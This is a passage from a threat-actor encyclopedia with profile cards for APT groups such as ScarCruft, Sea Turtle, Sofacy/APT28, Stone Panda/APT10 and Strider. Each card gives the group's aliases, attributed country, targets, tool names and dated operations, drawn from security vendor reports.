ScarCruft Names ScarCruft (Kaspersky) Country North Korea Sponsor State-sponsored Motivation Financial gain Description (Kaspersky) A few of months ago, we deployed a new set of technologies into our products designed to identify and block zero day attacks. These technologies already proved its effectiveness earlier this year, when they caught an Adobe Flash zero day exploit, CVE-2016-1010. Earlier this month, we caught another zero-day Adobe Flash Player exploit deployed in targeted attacks. We believe these attacks are launched by an APT Group we call ScarCruft ScarCruft is a relatively new APT group; victims have been observed in several countries, including Russia, Nepal, South Korea, China, India, Kuwait and Romania. The group has several ongoing operations utilizing multiple exploits two for Adobe Flash and one for Microsoft Internet Explorer. Currently, the group is engaged in two major operations: Operation Daybreak and Operation Erebus. The first of them, Operation Daybreak, appears to have been launched by ScarCruft in March 2016 and employs a previously unknown (0-day) Adobe Flash Player exploit, focusing on high profile victims. The other one, Operation Erebus employs an older exploit, for CVE-2016-4117 and leverages watering holes. It is also possible that the group deployed another zero day exploit, CVE-2016-0147, which was patched in April. Observed Countries: China, Hong Kong, India, Kuwait, Nepal, North Korea, Romania, Russia and Vietnam. Tools used ROKRAT and several 0-days. Operations performed 2016 Operation Erebus Mar 2016 Operation Daybreak Target: High profile victims. Method: Previously unknown (0-day) Adobe Flash Player exploit. It is also possible that the group deployed another zero day exploit, CVE2016-0147, which was patched in April. Note: not the same operation as DarkHotel s Operation Daybreak May 2019 We recently discovered some interesting telemetry on this actor, and decided to dig deeper into ScarCruft s recent activity. This shows that the actor is still very active and constantly trying to elaborate its attack tools. Based on our telemetry, we can reassemble ScarCruft s binary infection procedure. It used a multi-stage binary infection to update each module effectively and evade detection. Information Threat Group Cards: A Threat Actor Encyclopedia Threat Group Cards: A Threat Actor Encyclopedia Scarlet Mimic Names Scarlet Mimic (Palo Alto) Country China Motivation Information theft and espionage Description Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same. (Palo Alto) The attacks began over four years ago and their targeting pattern suggests that this adversary s primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an assessment that a group or groups with motivations similar to the stated position of the Chinese government in relation to these targets is involved. The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes. Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also have history of strained relationships with the government of the People s Republic of China (PRC), though we do not have evidence that links Scarlet Mimic attacks to the PRC. Scarlet Mimic attacks have also been identified against government organizations in Russia and India, who are responsible for tracking activist and terrorist activities. While we do not know the precise target of each of the Scarlet Mimic attacks, many of them align to the patterns described above. Observed Tibetan and Uyghur activists as well as those who are interested in their causes. Tools used CallMe, FakeM, MobileOrder and Psylo. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Sea Turtle Names Sea Turtle (Talos) Country [Unknown] Motivation Information theft and espionage Description (Talos) Cisco Talos has discovered a new cyber threat campaign that we are calling Sea Turtle, which is targeting public and private entities, including national security organizations, located primarily in the Middle East and North Africa. The ongoing operation likely began as early as January 2017 and has continued through the first quarter of 2019. Our investigation revealed that at least 40 different organizations across 13 different countries were compromised during this campaign. We assess with high confidence that this activity is being carried out by an advanced, state-sponsored actor that seeks to obtain persistent access to sensitive networks and systems. The actors behind this campaign have focused on using DNS hijacking as a mechanism for achieving their ultimate objectives. DNS hijacking occurs when the actor can illicitly modify DNS name records to point users to actor-controlled servers. The Department of Homeland Security (DHS) issued an alert about this activity on Jan. 24 2019, warning that an attacker could redirect user traffic and obtain valid encryption certificates for an organization s domain names. Observed Sectors: Defense, Energy, Government and Intelligence agencies. Countries: Albania, Armenia, Cyprus, Egypt, Iraq, Jordan, Lebanon, Libya, Sweden, Syria, Turkey, UAE and USA. Tools used DNS hijacking and Drupalgeddon. Information Threat Group Cards: A Threat Actor Encyclopedia Shadow Network Names Shadow Network (Information Warfare Monitor) Country China Motivation Information theft and espionage Description (Information Warfare Monitor) Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous thirdparty countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People s Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network. Also see GhostNet, Snooping Dragon. Observed Sectors: Education, Government and others. Countries: Afghanistan, Australia, Azerbaijan, Canada, China, France, Germany, Greece, Hong Kong, India, Israel, Italy, Japan, Lithuania, Malaysia, Mexico, Nepal, Netherlands, New Guinea, New Zealand, Pakistan, Philippines, Qatar, Romania, Russia, South Korea, Sweden, Taiwan, Thailand, Tibet, UAE, UK, USA and Vietnam. Tools used ShadowNet. Counter operations Taken down by the Shadowserver Foundation. Information Threat Group Cards: A Threat Actor Encyclopedia Silence Names Silence (Kaspersky) Country [Unknown] Motivation Financial gain Description (Group-IB) Group-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks, Group-IB experts also have discovered evidence of the group's activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts' hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD. Silence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services. Observed Sectors: Financial. Countries: more than 25, including Armenia, Azerbaijan, Belarus, Kazakhstan, Malaysia, Poland, Russia and Ukraine. Tools used Atmosphere and Silence. Information Threat Group Cards: A Threat Actor Encyclopedia Sima Names Sima (Amnesty International) Country Iran Motivation Information theft and espionage Description In February 2016, Iran-focused individuals received messages purporting to be from Human RightsWatch's (HRW) Emergencies Director, requesting that they read an article about Iran pressing Afghan refugees to fight in Syria. While referencing a real report published by HRW, the links provided for the Director s biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address to how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms, are a refinement compared to a tendency amongst other groups to simply continually send different forms of generic malware or phishing, in the hopes that one would eventually be successful. Observed This group targets Iranians in diaspora. Tools used Sima. Information Threat Group Cards: A Threat Actor Encyclopedia Slingshot Names Slingshot (Kaspersky) Country [Unknown] Motivation Information theft and espionage Description (Kaspersky) While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named Slingshot , part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity. While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router. We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018). Observed Countries: Afghanistan, Congo, Iraq, Jordan, Kenya, Libya, Somalia, Sudan, Tanzania, Turkey and Yemen. Tools used Cahnadr, GollumApp, Slingshot and WinBox (a utility used for MikroTik router configuration). Information Threat Group Cards: A Threat Actor Encyclopedia Snake Wine Names Snake Wine (Cylance) Country China Motivation Information theft and espionage Description (Cylance) While investigating some of the smaller name servers that Sofacy, APT 28, Fancy Bear, Sednit routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group s backdoors. Cylance tracks this threat group internally as Snake Wine The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure. Observed Sectors: Commerce, Education and Government. Countries: Japan. Tools used Ham Backdoor and Tofu Backdoor. Information Threat Group Cards: A Threat Actor Encyclopedia Snowglobe, Animal Farm Names Snowglobe (CSEC) Animal Farm (Kaspersky) Country France Sponsor State-sponsored Motivation Information theft and espionage Description (GData) The revelation about the existence of yet another potentially nation-state driven spyware occurred in March 2014 when Le Monde first published information about top secret slides originating from 2011 and part of their content . But the slides Le Monde published revealed only a small part of the picture several slides were cut out, some information was redacted. Germany s Der Spiegel re-published the slide set with far less deletions recently, in January 2015, and therefore gave a deeper insight about what CSEC actually says they have tracked down. The newly published documents reveal: the so called operation SNOWGLOBE, was discovered in 2009 (slide 9) and consists of three different implants , two were dubbed snowballs and one more sophisticated implant, discovered in mid-2010 tagged as snowman (slide 7). According to slide 22, CSEC assesses, with moderate certainty, SNOWGLOBE to be a state-sponsored CNO [Cyber Network Operation] effort, put forth by a French intelligence agency. The information given dates back to 2011 and nothing else has been published since. Now that specific Babar samples have been identified and analyzed, there might be new information, also with regards to similarities or differences between the two Remote Administration Tools (RATs) EvilBunny and Babar. Observed Sectors: Government and private sectors. Countries: Algeria, China, Germany, Greece, Iran, Ivory Coast, Malaysia, Netherlands, Norway, Russia, Spain, Syria, Turkey, UK and USA. Tools used Babar, Casper, Dino, EvilBunny, Tafacalou, Nbot and Chocopop. Information Threat Group Cards: A Threat Actor Encyclopedia Sofacy, APT 28, Fancy Bear, Sednit Names Sofacy (Kaspersky) APT 28 (Mandiant) Fancy Bear (CrowdStrike) Sednit (ESET) Group 74 (Talos) TG-4127 (SecureWorks) Pawn Storm (Trend Micro) Tsar Team (iSight) Strontium (Microsoft) Swallowtail (Symantec) SIG40 (NSA) Snakemackerel (iDefense) Iron Twilight (SecureWorks) Grizzly Steppe (US Government) together with APT 29, Cozy Bear, The Dukes Country Russia Sponsor State-sponsored, two GRU units known as Unit 26165 and Unit 74455. Motivation Information theft and espionage Description APT 28 is a threat group that has been attributed to Russia s Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. APT 28 has been active since at least January 2007. (FireEye) APT28 likely seeks to collect intelligence about Georgia s security and political dynamics by targeting officials working for the Ministry of Internal Affairs and the Ministry of Defense. APT28 has demonstrated interest in Eastern European governments and security organizations. These victims would provide the Russian government with an ability to predict policymaker intentions and gauge its ability to influence public opinion. APT28 appeared to target individuals affiliated with European security organizations and global multilateral institutions. The Russian government has long cited European security organizations like NATO and the OSCE as existential threats, particularly during periods of increased tension in Europe. Observed Sectors: Chemical, Defense, Embassies, Engineering, Government, Industrial, Intelligence organizations, Media, NGOs and Think Tanks. Countries: Afghanistan, Armenia, Belgium, Bulgaria, Canada, Chile, China, Croatia, Cyprus, France, Georgia, Germany, Hungary, Iran, Iraq, Japan, Jordan, Kazakhstan, Mexico, Mongolia, Netherlands, Norway, Pakistan, Poland, South Africa, South Korea, Tajikistan, Turkey, Uganda, UAE, UK, Ukraine, USA, Uzbekistan, APEC, OSCE and NATO. Tools used ADVSTORESHELL, Cannon, certutil, CHOPSTICK, Computrace, CORESHELL, DealersChoice, Downdelph, DownRange, Dropper, EVILTOSS, Foozer, Forfiles, HIDEDRV, JHUHUGIT, Koadic, Komplex, LoJax, Mimikatz, OLDBAIT, PocoDown, Responder, Sedkit, Sednit, Sedreco, Seduploader, Sofacy, SOURFACE, USBStealer, Winexe, WinIDS, X-Agent, X-Agent for Android, X-Agent OSX, XTunnel and Zebrocy. Threat Group Cards: A Threat Actor Encyclopedia Operations performed 2011-2012 Back in 2011-2012, the group used a relatively tiny implant (known Sofacy or SOURFACE) as its first stage malware. The implant shared certain similarities with the old Miniduke implants. This led us to believe the two groups were connected, at least to begin with, although it appears they parted ways in 2014, with the original Miniduke group switching to the CosmicDuke implant. 2013 At some point during 2013, the Sofacy group expanded its arsenal and added more backdoors and tools, including CORESHELL, SPLM (aka Xagent, aka CHOPSTICK), JHUHUGIT (which is built with code from the Carberp sources), AZZY (aka ADVSTORESHELL, NETUI, EVILTOSS, and spans across four to five generations) and a few others. We ve seen quite a few versions of these implants and they were relatively widespread for a time. Oct 2014 Operation Pawn Storm Target: Several foreign affairs ministries from around the globe. Method: Spear-phishing e-mails with links leading to an Adobe Flash exploit. Dec 2014 Six-month-long cyberattack on the German parliament Feb 2015 U.S. military wives death threats Five military wives received death threats from a hacker group calling itself CyberCaliphate , claiming to be an Islamic State affiliate, on February 10, 2015. This was later discovered to have been a false flag attack by Fancy Bear, when the victims email addresses were found to have been in the Fancy Bear phishing target list. Apr 2015 Compromise of TV5Monde in France A group calling itself the Cyber Caliphate, linked to so-called Islamic State, first claimed responsibility. But an investigation now suggests the attack was in fact carried out by a group of Russian hackers. Apr 2015 Operation Russian Doll Method: Adobe Flash 0-day Aug 2015 EFF spoof, White House and NATO attack Method: zero-day exploit of Java, spoofing the Electronic Frontier Foundation and launching attacks on the White House and NATO. The hackers used a spear-phishing attack, directing emails to the false url electronicfrontierfoundation.org. Sep 2015 Bootstrapped Firefox Add-on Oct 2015 Attack on Bellingcat Threat Group Cards: A Threat Actor Encyclopedia Eliot Higgins and other journalists associated with Bellingcat, a group researching the shoot down of Malaysia Airlines Flight 17 over Ukraine, were targeted by numerous spear-phishing emails. The messages were fake Gmail security notices with Bit.ly and TinyCC shortened URLs. Oct 2015 Attack on Dutch Safety Board The group targeted the Dutch Safety Board, the body conducting the official investigation into the crash, before and after the release of the board s final report. They set up fake SFTP and VPN servers to mimic the board s own servers, likely for the purpose of spearphishing usernames and passwords. Jun 2016 Breach of Democratic National Committee Fancy Bear carried out spear-phishing attacks on email addresses associated with the Democratic National Committee in the first quarter of 2016. On March 10, phishing emails that were mainly directed at old email addresses of 2008 Democratic campaign staffers began to arrive. One of these accounts may have yielded up to date contact lists. The next day, phishing attacks expanded to the non-public email addresses of high level Democratic Party officials. Hillaryclinton.com addresses were attacked, but required two factor authentication for access. The attack redirected towards Gmail accounts on March 19th. Podesta s Gmail account was breached the same day, with 50,000 emails stolen. Another sophisticated hacking group attributed to the Russian Federation, nicknamed APT 29, Cozy Bear, The Dukes appears to be a different agency, one more interested in traditional long-term espionage. Jun 2016 Exercise Noble Partner 2016 spear-phishing e-mail Method: Spear-phishing e-mail Target: USA government Jun 2016 Compromise of the Bundestag website in Germany Aug 2016 Spear-phishing attack members of the Bundestag and multiple political parties such as Linken-faction leader Sahra Wagenknecht, Junge Union and the CDU of Saarland. Authorities feared that sensitive information could be gathered by hackers to later manipulate the public ahead of elections such as Germany s next federal election which was due in September 2017. Aug 2016 World Anti-Doping Agency Threat Group Cards: A Threat Actor Encyclopedia Method: Phishing emails sent to users of its database claiming to be official WADA communications requesting their login details. Sep 2016 Operation Komplex Oct 2016 Operation DealersChoice The global reach that coincided with this focus on NATO and the Ukraine couldn t be overstated. Our KSN data showed spearphishing targets geo-located across the globe into 2017. AM, AZ, FR, DE, IQ, IT, KG, MA, CH, UA, US, VN DealersChoice emails, like the one above, that we were able to recover from third party sources provided additional targeting insight, and confirmed some of the targeting within our KSN data: TR, PL, BA, AZ, KR, LV, GE, LV, AU, SE, BE Early 2017 GAMEFISH backdoor Target: Europe. Method: They took advantage of the Syrian military conflict for thematic content and file naming Trump s_Attack_on_Syria_English.docx . Again, this deployment was likely a part of their focus on NATO targets. Early 2017 LoJax: First UEFI rootkit found in the wild Feb 2017 Attack on Dutch ministries In February 2017, the General Intelligence and Security Service (AIVD) of the Netherlands revealed that Fancy Bear and Cozy Bear had made several attempts to hack into Dutch ministries, including the Ministry of General Affairs, over the previous six months. Rob Bertholee, head of the AIVD, said on EenVandaag that the hackers were Russian and had tried to gain access to secret government documents. Feb 2017 IAAF Hack The officials of International Association of Athletics Federations (IAAF) stated in April 2017 that its servers had been hacked by the Fancy Bear group. The attack was detected by cybersecurity firm Context Information Security which identified that an unauthorized remote access to IAAF s servers had taken place on February 21. IAAF stated that the hackers had accessed the Therapeutic Use Exemption applications, needed to use medications prohibited by WADA. Threat Group Cards: A Threat Actor Encyclopedia Apr 2017 German elections They targeted the German Konrad Adenauer Foundation and Friedrich Ebert Foundation, groups that are associated with Angela Merkel s Christian Democratic Union and opposition Social Democratic Party, respectively. Fancy Bear set up fake email servers in late 2016 to send phishing emails with links to malware. Early to mid 2017 SPLM backdoor Target: included defense related commercial and military organizations, and telecommunications. Targeting included TR, KZ, AM, KG, JO, UK, UZ Method: SPLM/CHOPSTICK/Xagent Jun 2017 Heavy Zebrocy deployments Targeting profiles, spear-phish filenames, and lures carry thematic content related to visa applications and scanned images, border control administration, and various administrative notes. Targeting appears to be widely spread across the Middle East, Europe, and Asia: Business accounting practices and standards Science and engineering centers Industrial and hydro chemical engineering and standards/certification Ministry of foreign affairs Embassies and consulates National security and intelligence agencies Press services Translation services NGO family and social service Ministry of energy and industry Method: the Zebrocy chain follows a pattern: spear-phish attachment -> compiled Autoit script (downloader) -> Zebrocy payload. In some deployments, we observed Sofacy actively developing and deploying a new package to a much smaller, specific subset of targets within the broader set. Jan 2018 Breach of the International Olympic Committee On January 10, 2018, the Fancy Bears Hack Team online persona leaked what appeared to be stolen International Olympic Committee (IOC) and U.S. Olympic Committee emails, dated from late 2016 to early 2017, were leaked in apparent retaliation for the IOC s banning of Russian athletes from the 2018 Winter Olympics as a sanction for Russia s systematic doping program. The attack resembles the earlier World Anti-Doping Agency (WADA) leaks. It is not known whether the emails are fully authentic, because of Fancy Bear history of salting stolen emails with disinformation. The mode of attack was also not known, but was probably phishing. Feb 2018 Attacks on Multiple Government Entities Target: Ministries of Foreign Affairs of the USA and Romania. Threat Group Cards: A Threat Actor Encyclopedia Method: Spear-phishing using the subject line of Upcoming Defense events February 2018 and a sender address claiming to be from Jane s 360 defense events. Mar 2018 On March 12 and March 14, we observed the Sofacy group carrying out an attack on a European government agency involving an updated variant of DealersChoice. The updated DealersChoice documents used a similar process to obtain a malicious Flash object from a C2 server, but the inner mechanics of the Flash object contained significant differences in comparison to the original samples we analyzed. May 2018 Breach of the Swedish Sports Confederation The Swedish Sports Confederation reported Fancy Bear was responsible for an attack on its computers, targeting records of athletes doping tests. May 2018 VPNFilter IoT botnet6 Jun 2018 This third campaign is consistent with two previously reported attack campaigns in terms of targeting: the targets were government organizations dealing with foreign affairs. In this case however the targets were in different geopolitical regions. Aug 2018 Attacks on United States Conservative Groups The software company Microsoft reported in August 2018 that the group had attempted to steal data from political organizations such as the International Republican Institute and the Hudson Institute think tanks. The attacks were thwarted when Microsoft security staff won control of six net domains. In its announcement Microsoft advised that we currently have no evidence these domains were used in any successful attacks before the DCU transferred control of them, nor do we have evidence to indicate the identity of the ultimate targets of any planned attack involving these domains Oct 2018 Operation Dear Joohn Target: The weaponized documents targeted several government entities around the globe, including North America, Europe, and a former USSR state. Method: new Cannon Trojan 2018 BREXIT-themed lure document 6 See ThaiCERT Whitepaper VPNFilter IoT botnet seized by the FBI Threat Group Cards: A Threat Actor Encyclopedia Brexit-themed bait documents to deliver the Zekapab (also known as Zebrocy) first-stage malware, sent on the same day the UK Prime Minister Theresa May announced the initial BREXIT draft agreement with the European Union (EU). As the United Kingdom (UK) Prime Minister Theresa May announced the initial BREXIT draft agreement with the European Union (EU). Counter operations Feb 2019 2019 Think Tank Attacks In February 2019, Microsoft announced that it had detected spearphishing attacks from APT28, aimed at employees of the German Marshall Fund, Aspen Institute Germany, and the German Council on Foreign Relations. Hackers from the group purportedly sent phishing e-mails to 104 email addresses across Europe in an attempt to gain access to employer credentials and infect sites with malware. Feb 2019 Threat Campaign Likely Targeting NATO Members, Defense and Military Outlets iDefense assesses with moderate confidence that the actors may be targeting attendees and sponsors of the upcoming Underwater Defense & Security 2019 event occurring March 5-7, 2019, in Southampton, United Kingdom. This event draws attendees from government, military and private sector entities across the globe. Information Mueller indicts 12 Russians for DNC hacking as Trump-Putin summit looms (2018) US charges Russian military officers over international hacking and disinformation campaigns (2018) Justice Department Announces Actions to Disrupt Advanced Persistent Threat 28 Botnet of Infected Routers and Network Storage Devices (2018) Threat Group Cards: A Threat Actor Encyclopedia MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Sowbug Names Sowbug (Symantec) Country [Unknown] Motivation Information theft and espionage Description (Symantec) Symantec has identified a previously unknown group called Sowbug that has been conducting highly targeted cyberattacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates. Symantec saw the first evidence of Sowbug-related activity with the discovery in March 2017 of an entirely new piece of malware called Felismus used against a target in Southeast Asia. We have subsequently identified further victims on both sides of the Pacific Ocean. While the Felismus tool was first identified in March of this year, its association with Sowbug was unknown until now. Symantec has also been able to connect earlier attack campaigns with Sowbug, demonstrating that it has been active since at least early-2015 and may have been operating even earlier. To date, Sowbug appears to be focused mainly on government entities in South America and Southeast Asia and has infiltrated organizations in Argentina, Brazil, Ecuador, Peru, Brunei and Malaysia. The group is well resourced, capable of infiltrating multiple targets simultaneously and will often operate outside the working hours of targeted organizations in order to maintain a low profile. Observed Sectors: Government. Countries: Argentina, Brazil, Brunei, Ecuador, Malaysia and Peru. Tools used Felismus and StarLoader. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Stalker Panda Names Stalker Panda (Raytheon Blackbird Technologies) Country China Sponsor State-sponsored, National University of Defense and Technology Motivation Information theft and espionage Description (Raytheon) The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly. A fairly unique aspect of the observed Stalker Panda attacks is their use of social media and blog sites as first stage (cutout) command and control (C2) infrastructure. This 2-stage C2 infrastructure provides some obfuscation of the main C2 servers and provides some flexibility in communications because the first stage social media/blog site nodes can be reconfigured at will. Stalker Panda seems to favor spear phishing email campaigns as their attack vector. Observed Sectors: Engineering, Media and political. Countries: Hong Kong, Japan, Taiwan and USA. Tools used Elirks, SharpServer, Blogspot, and the XUni platform. Information Threat Group Cards: A Threat Actor Encyclopedia Stealth Falcon, FruityArmor Names Stealth Falcon (Citizen Lab) FruityArmor (Kaspersky) Country Motivation Information theft and espionage Description (Citizen Lab) This report describes a campaign of targeted spyware attacks carried out by a sophisticated operator, which we call Stealth Falcon. The attacks have been conducted from 2012 until the present, against Emirati journalists, activists, and dissidents. We discovered this campaign when an individual purporting to be from an apparently fictitious organization called The Right to Fight contacted Rori Donaghy. Donaghy, a UK-based journalist and founder of the Emirates Center for Human Rights, received a spyware-laden email in November 2015, purporting to offer him a position on a human rights panel. Donaghy has written critically of the United Arab Emirates (UAE) government in the past, and had recently published a series of articles based on leaked emails involving members of the UAE government. Circumstantial evidence suggests a link between Stealth Falcon and the UAE government. We traced digital artifacts used in this campaign to links sent from an activist s Twitter account in December 2012, a period when it appears to have been under government control. We also identified other bait content employed by this threat actor. We found 31 public tweets sent by Stealth Falcon, 30 of which were directly targeted at one of 27 victims. Of the 27 targets, 24 were obviously linked to the UAE, based on their profile information (e.g., photos, in account name, location), and at least six targets appeared to be operated by people who were arrested, sought for arrest, or convicted in absentia by the UAE government, in relation to their Twitter activity. Observed Sectors: Civil society groups and Emirati journalists, activists and dissidents. Countries: UAE and UK. Tools used 0-day exploits. Operations performed Oct 2016 Windows zero-day exploit used in targeted attacks by FruityArmor Oct 2018 Zero-day exploit (CVE-2018-8453) used in targeted attacks Oct 2018 Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611) Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Stolen Pencil Names Stolen Pencil (ASERT) Country North Korea Motivation [Uncertain] Description (ASERT) ASERT has learned of an APT campaign, possibly originating from DPRK, we are calling Stolen Pencil that is targeting academic institutions since at least May 2018. The ultimate motivation behind the attacks is unclear, but the threat actors are adept at scavenging for credentials. Targets are sent spear phishing e-mails that lead them to a web site displaying a lure document and are immediately prompted to install a malicious Google Chrome extension. Once gaining a foothold, the threat actors use off-the-shelf tools to ensure persistence, including Remote Desktop Protocol (RDP) to maintain access. Key Findings A wide variety of phishing domains imply other targets, but those focused on academia were intended to install a malicious Chrome extension. A large number of the victims, across multiple universities, had expertise in biomedical engineering, possibly suggesting a motivation for the attackers targeting. Poor OPSEC led to users finding open web browsers in Korean, English-toKorean translators open, and keyboards switched to Korean. The threat actors use built-in Windows administration tools and commercial offthe-shelf software to live off the land . The threat actor at the keyboard uses RDP to access compromised systems rather than a backdoor or Remote Access Trojan (RAT). Post-exploitation persistence is maintained by harvesting passwords from a wide variety of sources such as process memory, web browsers, network sniffing, and keyloggers. There is no evidence of data theft, leaving the motivation behind Stolen Pencil largely uncertain. Observed Sectors: Education and Think Tanks. Tools used Mimikatz. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Stone Panda, APT 10, menuPass Names Stone Panda (CrowdStrike) APT 10 (Mandiant) menuPass Team (Symantec) menuPass (Palo Alto) Red Apollo (PwC) CVNX (BAE Systems) Potassium (Microsoft) Hogfish (iDefense) Happyyongzi (FireEye) Country China Motivation Information theft and espionage Description menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. Observed Sectors: Aerospace, Defense, Government, Healthcare, MSPs and Pharmaceutical. Countries: Australia, Brazil, Canada, Finland, France, Germany, India, Japan, Netherlands, Norway, Philippines, South Africa, South Korea, Sweden, Switzerland, Thailand, UAE, UK and USA. Tools used Anel, BUGJUICE, certutil, ChChes, Cobalt Strike, Emdivi, EvilGrab, HAYMAKER, Impacket, Mimikatz, PlugX, Poison Ivy, PowerSploit, pwdump, QuasarRAT, RedLeaves, SNUGRIDE, Trochilus RAT and UPPERCUT. Operations performed Sep 2016 Spear-phishing attack Method: The attackers spoofed several sender email addresses to send spear-phishing emails, most notably public addresses associated with the Sasakawa Peace Foundation and The White House. Target: Japanese academics working in several areas of science, along with Japanese pharmaceutical and a US-based subsidiary of a Japanese manufacturing organizations. 2016 Operation Cloud Hopper The campaign, which we refer to as Operation Cloud Hopper, has targeted managed IT service providers (MSPs), allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally. A number of Japanese organizations have also been directly targeted in a separate, simultaneous campaign by the same actor 20162017 Leveraging its global footprint, FireEye has detected APT10 activity across six continents in 2016 and 2017. APT10 has targeted or compromised manufacturing companies in India, Japan and Northern Europe; a mining company in South America; and multiple IT service providers worldwide. We believe these companies are a mix of final targets and organizations that could provide a foothold in a final target. Threat Group Cards: A Threat Actor Encyclopedia Feb 2017 Operation TradeSecret The National Foreign Trade Council (NFTC) website was allegedly infiltrated by Chinese nation-state threat actors, according to a new report from Fidelis Cybersecurity. The attack against the NFTC site has been dubbed Operation TradeSecret by Fidelis and is seen as an attempt to gain insight into individuals closely associated with U.S trade policy activities. 2017 Operation ChessMaster Take for instance the self-named ChessMaster, a campaign targeting Japanese academe, technology enterprises, media outfits, managed service providers, and government agencies. It employs various poisoned pawns in the form of malware-laden spear-phishing emails containing decoy documents. Nov 2017 Targeted Norwegian MSP and US Companies in Sustained Campaign A sustained cyberespionage campaign targeting at least three companies in the United States and Europe was uncovered by Recorded Future and Rapid7 between November 2017 and September 2018. 2018 Operation New Battle This report provides a technical overview of the bespoke RedLeaves implants leveraged by the actor in their new battle campaign. Jul 2018 Attack on the Japanese media sector In July 2018, FireEye devices detected and blocked what appears to be APT10 (menuPass) activity targeting the Japanese media sector. Jan 2019 Breach of Airbus Apr 2019 In April 2019, enSilo detected what it believes to be new activity by Chinese cyber espionage group APT10. The variants discovered by enSilo are previously unknown and deploy malware that is unique to the threat actor. Counter operations MITRE ATT&CK Chinese Hackers Indicted (2018) Threat Group Cards: A Threat Actor Encyclopedia Threat Group Cards: A Threat Actor Encyclopedia Strider, ProjectSauron Names Strider (Symantec) ProjectSauron (Kaspersky) Country [Unknown] Motivation Information theft and espionage Description (Symantec) Strider has been active since at least October 2011. The group has maintained a low profile until now and its targets have been mainly organizations and individuals that would be of interest to a nation state s intelligence services. Symantec obtained a sample of the group s Remsec malware from a customer who submitted it following its detection by our behavioral engine. Remsec is primarily designed to spy on targets. It opens a back door on an infected computer, can log keystrokes, and steal files. Strider has been highly selective in its choice of targets and, to date, Symantec has found evidence of infections in 36 computers across seven separate organizations. The group s targets include a number of organizations and individuals located in Russia, an airline in 